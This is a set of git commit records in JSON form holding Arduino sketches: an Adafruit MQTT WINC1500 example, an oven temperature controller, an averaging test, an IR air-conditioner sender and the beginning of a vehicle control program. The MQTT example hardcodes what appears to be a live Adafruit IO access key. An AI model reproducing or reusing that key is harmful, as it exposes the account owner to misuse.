{"commit":"8c8ba766c39ac144a76ebfa48e2a081a1be91667","subject":"atwinc demo","message":"atwinc demo\n","repos":"adafruit\/Adafruit_MQTT_Library","old_file":"examples\/mqtt_winc1500\/mqtt_winc1500.ino","new_file":"examples\/mqtt_winc1500\/mqtt_winc1500.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library WINC1500 Example\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <SPI.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n#include <Adafruit_WINC1500.h>\n\n\n\/************************* WiFI Setup *****************************\/\n#define WINC_CS 8\n#define WINC_IRQ 7\n#define WINC_RST 4\n\nAdafruit_WINC1500 WiFi(WINC_CS, WINC_IRQ, WINC_RST);\n\nchar ssid[] = \"yournetwork\"; \/\/ your network SSID (name)\nchar pass[] = \"yourpassword\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint status = WL_IDLE_STATUS;\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"adafruit2\"\n#define AIO_KEY \"3e148db54389a8b7c3efa9ddd2cd388317bcbf58\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/Set up the wifi client\nAdafruit_WINC1500Client client;\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = __TIME__ AIO_USERNAME;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\nAdafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for publishing.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char PHOTOCELL_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/photocell\";\nAdafruit_MQTT_Publish photocell = Adafruit_MQTT_Publish(&mqtt, PHOTOCELL_FEED);\n\n\/\/ Setup a feed called 'onoff' for subscribing to changes.\nconst char ONOFF_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/onoff\";\nAdafruit_MQTT_Subscribe onoffbutton = Adafruit_MQTT_Subscribe(&mqtt, ONOFF_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\n#define LEDPIN 13\n\nvoid setup() {\n pinMode(WINC_EN, OUTPUT);\n digitalWrite(WINC_EN, HIGH);\n \n \/\/while (!Serial);\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit MQTT demo for WINC1500\"));\n\n \/\/ Initialise the Client\n Serial.print(F(\"\\nInit the WiFi module...\"));\n \/\/ check for the presence of the breakout\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WINC1500 not present\");\n \/\/ don't continue:\n while (true);\n }\n Serial.println(\"ATWINC OK!\");\n \n pinMode(LEDPIN, OUTPUT);\n mqtt.subscribe(&onoffbutton);\n}\n\nuint32_t x=0;\n\nvoid loop() {\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n Adafruit_MQTT_Subscribe *subscription;\n while ((subscription = mqtt.readSubscription(5000))) {\n if (subscription == &onoffbutton) {\n Serial.print(F(\"Got: \"));\n Serial.println((char *)onoffbutton.lastread);\n\n if (0 == strcmp((char *)onoffbutton.lastread, \"OFF\")) {\n digitalWrite(LEDPIN, LOW);\n }\n if (0 == strcmp((char *)onoffbutton.lastread, \"ON\")) {\n digitalWrite(LEDPIN, HIGH);\n }\n }\n }\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending photocell val \"));\n Serial.print(x);\n Serial.print(\"...\");\n if (! photocell.publish(x++)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n\n}\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ attempt to connect to Wifi network:\n while (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n status = WiFi.begin(ssid, pass);\n\n \/\/ wait 10 seconds for connection:\n uint8_t timeout = 10;\n while (timeout && (WiFi.status() != WL_CONNECTED)) {\n timeout--;\n delay(1000);\n }\n }\n \n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n }\n Serial.println(\"MQTT Connected!\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mqtt_winc1500\/mqtt_winc1500.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc780affbbf04158da2cc41f015c1d46c9f4a24e","subject":"Moved the INO to its own folder so Arduino IDE can read it.","message":"Moved the INO to its own folder so Arduino IDE can read it.\n","repos":"wicker\/oven-controller","old_file":"src\/Oven_control_V2_1\/Oven_control_V2_1.ino","new_file":"src\/Oven_control_V2_1\/Oven_control_V2_1.ino","new_contents":"\/*************************************************** \n On\/ Off control 1 thermocouples \n ****************************************************\/\n\n#include \"Adafruit_MAX31855.h\"\n\n\/\/ Pins connection\nint thermoDO = 3;\nint thermoCLK = 4;\nint thermoCS1 = 5;\nint thermoCS2 = 6;\nint thermoCS3 = 7;\nint thermoCS4 = 8;\nint thermoCS5 = 9;\nint thermoCS6 = 10;\nint heaterPins1 = 11;\nint heaterPins2 = 12;\nint swStart = A0;\nint swMode1 = A1;\nint swMode2 = A2;\nint swMode3 = A3;\n\n\/\/ Indicate status variables: 0 off; 1: on\nint mode1 = 0;\nint mode2 = 0;\nint mode3 = 0;\nint start = 0;\nint stopnow = 0;\n\n\/\/ constant\ndouble tempSet = 350; \/\/ farenheit\ndouble tempInc = 3 ; \/\/ Temperature increament per minutes\ndouble tempErrRange = 0;\ndouble tempThreshold = 3; \/\/ Temperature limit to turn on both heaters\nint ADCThreshold = 900;\nint timeDelay = 5000;\nfloat timeMax = 12780; \/\/ (sec) timeMax=time_ramping+time_at_350; (set at 2 hours), initial temp: 70*F\n\n\/\/ calibration \n\ndouble sensor1 = 0;\ndouble sensor2 = -4;\ndouble sensor3 = 0;\ndouble sensor4 = 0;\ndouble sensor5 = 0;\ndouble sensor6 = 0;\n\n\n\/\/ variables\ndouble tempErr;\ndouble tempSensor1;\ndouble tempSensor2;\ndouble tempSensor3;\ndouble tempSensor4;\ndouble tempSensor5;\ndouble tempSensor6;\ndouble tempAverage;\ndouble tempInitial; \/\/ room temp\n\ndouble currTempSet;\ndouble tempSetLow;\ndouble tempSetHigh;\n\ndouble startTime;\ndouble currTime;\n\n\/\/ Thermocouples\nAdafruit_MAX31855 thermocouple1(thermoCLK, thermoCS1, thermoDO);\nAdafruit_MAX31855 thermocouple2(thermoCLK, thermoCS2, thermoDO);\nAdafruit_MAX31855 thermocouple3(thermoCLK, thermoCS3, thermoDO);\nAdafruit_MAX31855 thermocouple4(thermoCLK, thermoCS4, thermoDO);\nAdafruit_MAX31855 thermocouple5(thermoCLK, thermoCS5, thermoDO);\nAdafruit_MAX31855 thermocouple6(thermoCLK, thermoCS6, thermoDO);\n\n\nvoid all_heaters_off()\n{\n digitalWrite(heaterPins1, LOW); \/\/ turn off the heaters\n delay(100);\n digitalWrite(heaterPins2, LOW); \/\/ turn off the heaters\n Serial.println(\" OFF\"); \n}\n\nvoid one_heater_off()\n{\n digitalWrite(heaterPins1, LOW); \/\/ turn off the heaters\n delay(100);\n Serial.println(\" 1 OFF\"); \n}\n\nvoid all_heaters_on()\n{\n digitalWrite(heaterPins1, HIGH); \/\/ turn on the heaters\n delay(100);\n digitalWrite(heaterPins2, HIGH); \/\/ turn on the heaters\n delay(100);\n Serial.println(\" ON\"); \n}\n \nvoid one_heater_on()\n{\n digitalWrite(heaterPins1, HIGH); \/\/ turn on the heaters\n delay(100);\n Serial.println(\" 1 ON\"); \n} \n \nvoid setup() {\n Serial.begin(9600);\n pinMode(heaterPins1, OUTPUT);\n pinMode(heaterPins2, OUTPUT);\n \/\/ wait for MAX chip to stabilize\n delay(1000);\n all_heaters_off();\n Serial.println(\"MAX31855 test\");\n startTime= millis();\n}\n\nint scan_button(int swButton)\n{\n int ADCreading = analogRead(swButton);\n\/\/ Serial.println(ADCreading);\n if (ADCreading < ADCThreshold) \n return (1);\n else return (0);\n}\n\nvoid tempPrint()\n{\n Serial.print(\"Current temperature F = \");\n \/\/ Serial.println(tempSensor1,\"\\t\", tempSensor2,\"\\t\",tempSensor3,\"\\t\",tempSensor4,\"\\t\",tempSensor5,\"\\t\",tempSensor6);\n Serial.print(tempSensor1);\n Serial.print(\" \");\n Serial.print(tempSensor2);\n Serial.print(\" \");\n Serial.print(tempSensor3);\n Serial.print(\" \");\n Serial.print(tempSensor4);\n Serial.print(\" \");\n Serial.print(tempSensor5);\n Serial.print(\" \");\n Serial.println(tempSensor6); \n Serial.print(\"Average temperature F = \");\n Serial.println(tempAverage);\n}\n\n\nvoid sensors_reading()\n{\n \/\/ scanning all of the sensors and switches\n mode1 = scan_button(swMode1);\n mode2 = scan_button(swMode2);\n start = scan_button(swStart);\n float tempSum=0;\n int count=0;\n tempSensor1 = thermocouple1.readFarenheit()+sensor1;\n if (tempSensor1>32) \/\/ eliminate the SPI disconection \n {\n count=count+1;\n tempSum=tempSum+tempSensor1;\n }\n delay(10);\n tempSensor2 = thermocouple2.readFarenheit()+sensor2;\n if (tempSensor2>32) \/\/ eliminate the SPI disconection \n {\n count=count+1;\n tempSum=tempSum+tempSensor2;\n }\n delay(10);\n tempSensor3 = thermocouple3.readFarenheit()+sensor3;\n if (tempSensor3>32) \/\/ eliminate the SPI disconection \n {\n count=count+1;\n tempSum=tempSum+tempSensor3;\n }\n delay(10);\n tempSensor4 = thermocouple4.readFarenheit()+sensor4;\n if (tempSensor4>32) \/\/ eliminate the SPI disconection \n \/*{\n count=count+1;\n tempSum=tempSum+tempSensor4;\n }*\/\n \/\/delay(10);\n tempSensor5 = thermocouple5.readFarenheit()+sensor5;\n \/*if (tempSensor5>32) \/\/ eliminate the SPI disconection \n {\n count=count+1;\n tempSum=tempSum+tempSensor5;\n }*\/\n \/\/delay(10);\n tempSensor6 = thermocouple6.readFarenheit()+sensor6;\n \/*if (tempSensor6>32) \/\/ eliminate the SPI disconection \n {\n count=count+1;\n tempSum=tempSum+tempSensor6;\n }*\/\n tempAverage = tempSum\/count;\n tempPrint();\n}\n\nvoid loop() {\n all_heaters_off();\n sensors_reading();\n tempInitial = tempAverage; \/\/ initial start temp\n startTime=millis(); \n \/\/ compared and controled\n while (start&(!stopnow))\n {\n currTime=millis()-startTime; \n currTempSet=min (350, currTime\/1000\/60*tempInc+tempInitial);\n Serial.print(\"Set temperature F = \");\n Serial.println(currTempSet);\n tempSetLow= currTempSet-tempErrRange;\n tempSetHigh= currTempSet+tempErrRange; \n \n if ((tempAverage<tempSetLow)&&(tempAverage>32) ) \n {\n if (tempAverage<tempSetLow-tempThreshold) all_heaters_on();\n else one_heater_on();\n }\n else\n {\n if (tempAverage>tempSetHigh+tempThreshold)\n {\n all_heaters_off();\n } \n else one_heater_off();\n }\n if ((currTime\/1000)>=timeMax) \n {\n stopnow=1;\n }\n delay(timeDelay);\n sensors_reading();\n }\n if (stopnow)\n {\n Serial.println(\"Mission complete, please wait until the oven cold down\");\n while(1); \/\/ stay here until turn off the controller.\n }\n delay(timeDelay);\n} \n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Oven_control_V2_1\/Oven_control_V2_1.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"6940b9de360205d8462fde676e41b7f1597899d0","subject":"Barograph Update","message":"Barograph Update\n\nNow matches v3 PCBs\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Action Modules\/Bar Graph\/BarGraphATtiny\/BarGraphATtiny.ino","new_file":"Action Modules\/Bar Graph\/BarGraphATtiny\/BarGraphATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Action' did not match any file(s) known to git\nerror: pathspec 'Modules\/Bar' did not match any file(s) known to git\nerror: pathspec 'Graph\/BarGraphATtiny\/BarGraphATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a08a77e2b81565241dd51e84f85ea0f9c918fd3a","subject":"Last Update in the arduino code","message":"Last Update in the arduino code\n","repos":"Emiliyan-Sokolov\/diplomna-rabota,Emiliyan-Sokolov\/diplomna-rabota","old_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ef7b3ba17618beb8f39218f72558a5b19b17b119","subject":"ave.stddev test","message":"ave.stddev test\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_03-hx711-scale-v2-battery-external-Interrupt-02\/stddev_test\/Average_test.ino","new_file":"_03-hx711-scale-v2-battery-external-Interrupt-02\/stddev_test\/Average_test.ino","new_contents":"#include <Wire.h>\n#include <Average.h>\n\n\/\/ Reserve space for 10 entries in the average bucket.\n\/\/ Change the type between < and > to change the entire way the library works.\nAverage<float> ave(10);\nint x;\nint r = LOW;\nint o_r = LOW;\n\nvoid setup() {\n Serial.begin(38400);\n Wire.begin(7);\n Wire.onReceive(receiveEvent);\n}\n\n\nvoid loop() {\n\n if ( r != o_r) {\n\n \/\/ Add a new random value to the bucket\n ave.push(x);\n\n Serial.print(x);\n Serial.print(\" -> \");\n \/\/ Display the current data set\n for (int i = 0; i < 10; i++) {\n Serial.print(ave.get(i), 0);\n Serial.print(\" \");\n }\n\n\n \n\n \/\/ And show some interesting results.\n Serial.print(\"\\t\\tMean: \"); Serial.print(ave.mean(), 0);\n Serial.print(\" Max: \"); Serial.print(ave.maximum(), 0);\n Serial.print(\" Min: \"); Serial.print(ave.minimum(), 0);\n Serial.print(\" Max - Min: \"); Serial.print((ave.maximum() - ave.minimum()), 0);\n Serial.print(\" StdDev: \"); Serial.println(ave.stddev(), 0);\n \n o_r = r ;\n }\n\n}\n\nvoid receiveEvent(int howMany)\n{\n byte a, b;\n\n a = Wire.read();\n b = Wire.read();\n\n x = a;\n x = x << 8 | b;\n\n r = !r ;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_03-hx711-scale-v2-battery-external-Interrupt-02\/stddev_test\/Average_test.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"92f71a96a9b3b71b9c8d75e321b8fa201211c8be","subject":"Funny action : code final, en attente de test","message":"Funny action : code final, en attente de test\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Funny Action\/Software\/Funny_action\/Funny_action.ino","new_file":"Module Funny Action\/Software\/Funny_action\/Funny_action.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Funny' did not match any file(s) known to git\nerror: pathspec 'Action\/Software\/Funny_action\/Funny_action.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"92d4d92d176c39bfba1463cf347c8176ce71049f","subject":"Adding the IR Sender, with few basic supported commands (very few...)","message":"Adding the IR Sender, with few basic supported commands (very few...)\n","repos":"jossef\/home-control-arduino,itamaro\/home-control-arduino","old_file":"IRACsender\/IRACsender.ino","new_file":"IRACsender\/IRACsender.ino","new_contents":"\/*\n * IR AC Sender - send IR signals to A\/C unit\n * An IR LED must be connected to Arduino PWM pin 3.\n * Version 1.0 September 2013\n * Copyright 2013 Itamar Ostricher\n * http:\/\/itamaro.com\n *\/\n\n#include <avr\/pgmspace.h>\n#include <IRremote.h>\n\nIRsend irsend;\n\nenum States{\n Ready,\n ReadPower,\n ReadMode,\n ReadFan,\n ReadTempFirstDigit,\n ReadTempSecondDigit,\n Send,\n Error,\n} state;\nenum PowerCommand{\n Toggle,\n Leave,\n NoPower\n} pwr;\nenum ModeCommand{\n Cool,\n Heat,\n Fan,\n Dry,\n NoMode\n} mode;\nenum FanCommand{\n Auto,\n Low,\n Medium,\n High,\n NoFan\n} fan;\nint temp;\n\nvoid resetState() {\n pwr=NoPower;\n mode=NoMode;\n fan=NoFan;\n temp = -1;\n state = Ready;\n}\n\nunsigned int uSendBuff[RAWBUF];\n\n\/\/ Raw IR buffers pre-configured with A\/C commands (see ac_ir_analysis.py Python script)\n\/\/ stored in Flash! (it's too much for to 2KB of SRAM we have..)\nPROGMEM prog_uint16_t uSendBuff_Toggle_Cool_Auto_25[] = {181, 3000, 3700, 2050, 900, 1050, 1850, 1050, 850, 1100, 850, 2050, 900, 1050, 850, 1050, 900, 1050, 900, 1050, 1850, 1950, 1850, 2050, 850, 1050, 850, 1050, 900, 1050, 900, 1050, 900, 1050, 850, 1050, 900, 1050, 900, 1050, 900, 1050, 850, 1050, 900, 1050, 850, 1050, 900, 1050, 850, 1050, 900, 1050, 900, 1050, 900, 1050, 1750, 2050, 800, 3000, 3750, 2050, 900, 1050, 1800, 1050, 850, 1100, 800, 2050, 900, 1050, 850, 1050, 900, 1050, 900, 1050, 1800, 2000, 1850, 2050, 900, 1050, 850, 1050, 900, 1050, 900, 1050, 900, 1050, 800, 1050, 900, 1050, 900, 1050, 900, 1050, 850, 1050, 900, 1050, 900, 1050, 900, 1050, 800, 1050, 900, 1050, 900, 1050, 850, 1050, 1750, 2050, 850, 3000, 3750, 2050, 900, 1050, 1850, 1050, 850, 1100, 800, 2050, 900, 1050, 800, 1050, 900, 1050, 900, 1050, 1800, 2000, 1800, 2050, 900, 1050, 800, 1050, 900, 1050, 900, 1050, 900, 1050, 850, 1050, 900, 1050, 850, 1050, 900, 1050, 850, 1050, 900, 1050, 900, 1050, 900, 1050, 850, 1050, 900, 1050, 900, 1050, 900, 1050, 1750, 2050, 850, 3950};\nPROGMEM prog_uint16_t uSendBuff_Leave_Cool_Auto_25[] = {187, 2950, 2850, 1000, 950, 1050, 900, 1050, 1850, 1000, 850, 1100, 850, 2000, 950, 1050, 850, 1000, 950, 1000, 950, 1050, 1850, 1950, 1850, 2000, 950, 1000, 850, 1000, 950, 1000, 950, 1050, 900, 1050, 850, 1000, 950, 1050, 900, 1000, 950, 1000, 850, 1050, 900, 1000, 950, 1000, 950, 1050, 850, 1000, 950, 1050, 900, 1050, 950, 1000, 1800, 2000, 900, 3000, 2850, 1000, 950, 1050, 900, 1000, 1900, 1050, 850, 1050, 900, 2000, 950, 1050, 850, 1000, 950, 1050, 900, 1000, 1900, 2000, 1850, 2000, 950, 1050, 850, 1000, 950, 1050, 950, 1050, 900, 1000, 900, 1050, 900, 1000, 950, 1000, 950, 1050, 850, 1000, 950, 1000, 950, 1050, 900, 1000, 900, 1050, 950, 1050, 900, 1000, 950, 1000, 1800, 2000, 900, 3000, 2850, 1050, 900, 1000, 950, 1000, 1850, 1050, 900, 1050, 900, 2050, 900, 1000, 900, 1050, 900, 1050, 950, 1000, 1900, 1950, 1900, 2050, 900, 1050, 900, 1000, 950, 1050, 900, 1000, 950, 1000, 850, 1050, 950, 1000, 950, 1000, 950, 1050, 850, 1000, 950, 1050, 900, 1050, 950, 1000, 900, 1050, 900, 1000, 950, 1000, 950, 1050, 1800, 2000, 850, 3900};\nPROGMEM prog_uint16_t uSendBuff_Toggle_Cool_Auto_24[] = {181, 3000, 3750, 2000, 900, 1050, 1850, 1000, 850, 1100, 850, 2000, 900, 1000, 850, 1000, 900, 1000, 900, 1050, 1850, 1950, 900, 1050, 1850, 2000, 850, 1050, 900, 1000, 900, 1000, 900, 1050, 850, 1000, 900, 1050, 900, 1000, 950, 1000, 850, 1050, 900, 1000, 900, 1000, 900, 1050, 850, 1000, 900, 1000, 900, 1050, 900, 1000, 1800, 2000, 850, 3000, 3750, 2050, 900, 1000, 1850, 1000, 850, 1100, 850, 2000, 900, 1050, 850, 1000, 900, 1000, 900, 1050, 1850, 1950, 900, 1000, 1850, 2000, 850, 1000, 900, 1000, 900, 1050, 900, 1000, 850, 1000, 900, 1000, 950, 1000, 900, 1000, 850, 1000, 900, 1000, 900, 1000, 900, 1000, 850, 1000, 900, 1050, 900, 1000, 950, 1000, 1800, 2000, 850, 2950, 3750, 2000, 950, 1000, 1850, 1000, 900, 1050, 850, 2000, 900, 1000, 850, 1000, 950, 1000, 950, 1000, 1850, 1950, 950, 1000, 1850, 2000, 900, 1000, 950, 1000, 900, 1000, 950, 1000, 850, 1000, 950, 1000, 950, 1000, 900, 1050, 850, 1000, 900, 1000, 900, 1000, 950, 1000, 850, 1050, 900, 1000, 900, 1000, 900, 1000, 1800, 2000, 850, 3900};\n\nprog_uint16_t * getAcSendBuff() {\n\tif ( (Toggle == pwr) && (Cool == mode) &&(Auto == fan) && (25 == temp) ) { return uSendBuff_Toggle_Cool_Auto_25; }\n\tif ( (Leave == pwr) && (Cool == mode) &&(Auto == fan) && (25 == temp) ) { return uSendBuff_Leave_Cool_Auto_25; }\n\tif ( (Toggle == pwr) && (Cool == mode) &&(Auto == fan) && (24 == temp) ) { return uSendBuff_Toggle_Cool_Auto_24; }\n\treturn 0;\n}\n\nint sendAcCommand() {\n uint16_t rawlen;\n if ( (NoPower == pwr) || (NoMode == mode) || (NoFan == fan) || (-1 == temp) ) {\n Serial.println(F(\"Error in send A\/C command - not all parameters set\"));\n return 0;\n }\n \/\/ valid state - send it\n Serial.print(F(\"Sending A\/C command with following parameters: Power=\"));\n Serial.print(pwr, DEC);\n Serial.print(F(\", Mode=\"));\n Serial.print(mode, DEC);\n Serial.print(F(\", Fan=\"));\n Serial.print(fan, DEC);\n Serial.print(F(\", Temperature=\"));\n Serial.println(temp, DEC);\n prog_uint16_t * pfSendBuff = getAcSendBuff();\n if (0 != pfSendBuff) {\n rawlen = pgm_read_word_near(pfSendBuff);\n memcpy_P(uSendBuff, pfSendBuff+1, rawlen * sizeof(uint16_t));\n irsend.sendRaw(uSendBuff, rawlen, 38);\n Serial.println(\"Success\");\n } else {\n Serial.println(\"Unsupported Command\");\n }\n return 1;\n}\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Arduino A\/C-Control v1.0 - Ready\");\n resetState();\n}\n\nvoid loop() {\n char incoming;\n int val;\n \/\/ Valid A\/C commands:\n \/\/ - P# - set power toggle value\n \/\/ - M# - set mode value\n \/\/ - F# - set fan value\n \/\/ - T## - set temperature value\n \/\/ - S - send A\/C command\n \/\/ where \"#\" is a ASCII digit (according to enum, or specifying temperature as 2-digit number)\n while (Serial.available()) {\n incoming = Serial.read();\n switch (state) {\n \n case Ready:\n switch (incoming) {\n case 'P':\n state = ReadPower;\n break;\n case 'M':\n state = ReadMode;\n break;\n case 'F':\n state = ReadFan;\n break;\n case 'T':\n state = ReadTempFirstDigit;\n break;\n case 'S':\n if (0 != sendAcCommand()) {\n state = Ready;\n } else {\n state = Error;\n }\n break;\n }\n break;\n \n case ReadPower:\n val = (int)incoming - (int)'0';\n if ( (val >= 0) && (val < (int)NoPower) ) {\n pwr = (PowerCommand)val;\n Serial.print(F(\"Power parameter set to \"));\n Serial.println(pwr, DEC);\n state = Ready;\n } else {\n Serial.println(F(\"Invalid power value to\"));\n state = Error;\n }\n break;\n \n case ReadMode:\n val = (int)incoming - (int)'0';\n if ( (val >= 0) && (val < (int)NoMode) ) {\n mode = (ModeCommand)val;\n Serial.print(F(\"Mode parameter set to \"));\n Serial.println(mode, DEC);\n state = Ready;\n } else {\n Serial.println(F(\"Invalid mode value\"));\n state = Error;\n }\n break;\n \n case ReadFan:\n val = (int)incoming - (int)'0';\n if ( (val >= 0) && (val < (int)NoFan) ) {\n fan = (FanCommand)val;\n Serial.print(F(\"Fan parameter set to \"));\n Serial.println(fan, DEC);\n state = Ready;\n } else {\n Serial.println(F(\"Invalid fan value\"));\n state = Error;\n }\n break;\n \n case ReadTempFirstDigit:\n val = (int)incoming - (int)'0';\n if ( (val >= 0) && (val <= 9) ) {\n temp = 10 * val;\n state = ReadTempSecondDigit;\n } else {\n Serial.println(F(\"Invalid temperature digit\"));\n state = Error;\n }\n break;\n \n case ReadTempSecondDigit:\n val = (int)incoming - (int)'0';\n if ( (val >= 0) && (val <= 9) ) {\n temp += val;\n Serial.print(F(\"Temperature parameter set to \"));\n Serial.println(temp, DEC);\n state = Ready;\n } else {\n Serial.println(F(\"Invalid temperature digit\"));\n state = Error;\n }\n break;\n }\n }\n \n if (Error == state) {\n \/\/ clear all pending serial inputs and return to Ready state\n \/\/ (keep parameters that were set before)\n while (Serial.available()) {\n Serial.read();\n }\n state = Ready;\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'IRACsender\/IRACsender.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"efd75c5f8a8a732cfa3f6c7631fa20e694467f37","subject":"New program to gather throttle\/speed data","message":"New program to gather throttle\/speed data\n","repos":"elcano\/tutorials,elcano\/tutorials","old_file":"Lab4_Drive\/Elcano_C2_Data\/Elcano_C2_Data.ino","new_file":"Lab4_Drive\/Elcano_C2_Data\/Elcano_C2_Data.ino","new_contents":"\/*\n Elcano Contol Module C2 Data.\n \n Gather data for use in simulation and better understand vehicle behavior. TCF Sept 1, 2014.\n \n Outputs are\n 1) Analog 0-4 V signal for traction motor speed\n 2) Pulse wave Modulated (PWM) signal for brakes.\n 3) PWM signal for steering.\n \n \n *\/\n\n\/\/ Input\/Output (IO) pin names for the MegaShieldDB printed circuit board (PCB)\n#include \"IOPCB.h\"\n\n\/\/ When setting up the project, select\n\/\/ Sketch | Import Library ... | SPI\n\/\/ include the Serial Periferal Interface (SPI) library:\n#include <SPI.h>\n\/\/ The MegaShieldDB has a four channel Digital to Analog Converter (DAC).\n\/\/ Basic Arduino cannot write a true analog signal, but only PWM.\n\/\/ Many servos take PWM.\n\/\/ An electric bicycle (E-bike) throttle expects an analog signal.\n\/\/ We have found that feeding a pwm signal to an e-bike controller makes the motor chug at low speed.\n\n#ifndef TRUE\n#define TRUE 1\n#define FALSE 0\n#endif\n#ifndef NaN\n#define NaN 0xFFFFFFFF\n#endif\n\n#define LOOP_TIME_MS 100\n#define WHEEL_DIAMETER_MM 397\n#define BUFFER_SIZE 80\n#define ERROR_HISTORY 20\n\n\/\/ Values to send over DAC\nconst int FullThrottle = 227; \/\/ 3.63 V\nconst int MinimumThrottle = 50; \/\/ was 70; \/\/ Throttle has no effect until 1.2 V\nconst int TestThrottle = MinimumThrottle + (FullThrottle - MinimumThrottle)\/2;\n\/\/ Values to send on PWM to get response of actuators\nconst int FullBrake = 167; \/\/ start with a conservative value; could go as high as 255; \nconst int NoBrake = 207; \/\/ start with a conservative value; could go as low as 127;\n\/\/ Steering\nconst int HardLeft = 250; \/\/ could go as high as 255;\nconst int Straight = 187;\nconst int HardRight = 126;\n\n\/\/ globals\nlong sensor_speed_mmPs = 0;\nlong drive_speed_mmPs = 0;\nchar IncomingMessage[BUFFER_SIZE];\nint InIndex=0;\nint throttle_control = MinimumThrottle;\nint brake_control = FullBrake;\nint steer_control = Straight;\nlong speed_errors[ERROR_HISTORY];\nlong start_time;\nlong SpeedCyclometer_mmPs = 0;\n\n\n\/* Elcano #1 Servo range is 50 mm for brake, 100 mm for steering.\n\n Elcano servo has a hardware controller that moves to a\n particular position based on an input PWM signal from Arduino.\n The Arduino PWM signal is a square wave at a base frequency of 490 Hz or 2.04 ms.\n PWM changes the duty cycle to encode \n 0 is always off; 255 always on. One step is 7.92 us.\n \n Elcano servo is fully retracted on a pulse width of 2 ms;\n fully extended at 1 ms and centered at 1.5 ms.\n There is a deadband of 8 us.\n At 12v, servo operating speed is 56mm\/s with no load or\n 35 mm\/s at maximum load.\n \n Output from hardware servo controller to either servo has five wires, with observed bahavior of:\n White: 0V\n Yellow: 5V\n Blue: 0-5V depending on position of servo.\n Black: 12V while servo extends; 0V at rest or retracting.\n Red: 12V while retracting; 0V at rest or extending.\n The reading on the Blue line has hysteresis when Elcano sends a PWM signal; \n there appear to be different 